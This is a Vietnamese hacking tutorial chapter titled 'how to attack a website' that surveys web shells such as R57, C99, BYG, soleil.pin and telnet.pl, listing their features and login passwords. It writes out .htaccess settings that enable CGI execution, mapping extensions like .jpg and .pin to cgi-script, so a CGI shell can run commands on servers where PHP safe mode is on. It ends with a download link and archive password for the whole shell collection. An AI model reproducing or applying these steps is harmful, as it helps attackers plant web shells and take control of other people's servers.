[Chap 7] Làm thế nào để attack một website - Giới thiệu khái quát một số loại shell

Trong chap này mình sẽ giới thiệu khái quát tính năng một số con shell mình hay dùng khi local

A. R57

1- Thông tin server: hệ điều hành, user, phiên bản php, mysql....
2. Khung hiển thị
3. Khung gõ lệnh
4. Phần để upload file lên
5. up và tải file qua ftp
6. Gửi email
7. Kết nối cơ sở dữ liệu

B. C99

 

C. Web admin
Con shell này rất đơn giản, nó cỉ có chức năng upload và di chuyển qua lại giữa các thư mục. Tuy chức năng của nó đơn giản nhưng lại rất tiện lợi đấy nhé :D

D. SSI shell
Con shell này dùng trong trường hợp shell php không có tác dụng, không chạy được cgi, telnet

 

E. BYG
Con shell khá nổi tiếng và được dùng rất rộng rãi với nhiều tính năng.
Pass login:  byg

F. soleil.pin

 Nếu Server Safe_mod: ON,  cả shell r57 và c99 đều không có chức năng run command để thực thi các câu lệnh, vậy làm sao có thể local được.  Giải pháp được nghĩ đến là sử dụng shell cgi mà chức năng chính của nó là thực thi các câu lệnh.

 Pass login: ducdung.08clc

Cách sử dụng:
-          Up shell soleil.pin và chmod nó về 755
-          Up hoặc tạo file .htaccess có nội dung:

    ## START ##
    Options +ExecCGI
    AddHandler cgi-script cgi pl cgi gmc pin jpg
    RewriteEngine on
    RewriteRule (.*)\.mil$ $1.cgi
    Options +FollowSymLinks
    DirectoryIndex cmd.html
    Options +Indexes
    RemoveHandler .hack
    AddType text/plain .hack
    ## milw0rmvn exploit ##

Hoặc:

    Options FollowSymLinks MultiViews Indexes ExecCGI

    AddType application/x-httpd-cgi .cin

    AddHandler cgi-script .pin
    AddHandler cgi-script .pin

G. telnet.pl
Chức năng hoàn toàn tương tự với con shell soleil.pin
Tuy nhiên cách thức sử dụng nó thì đơn giản hơn nhiều vì không phải sử dụng đến file .htaccess mà chỉ cần chmod nó về 755 là run ngon.

 

H. Priv8

I. saoluu.php

Con này dùng để backup data

 

K. zipcode.php

Tác dụng dùng để zip code

 

L. Kshell.aspx

Con shell này dùng cho server windows

M. 1412.kid

Shell cgi

=================================

Link down all shell

Pass unrar:  quylevhb

http://adf.ly/vqDgz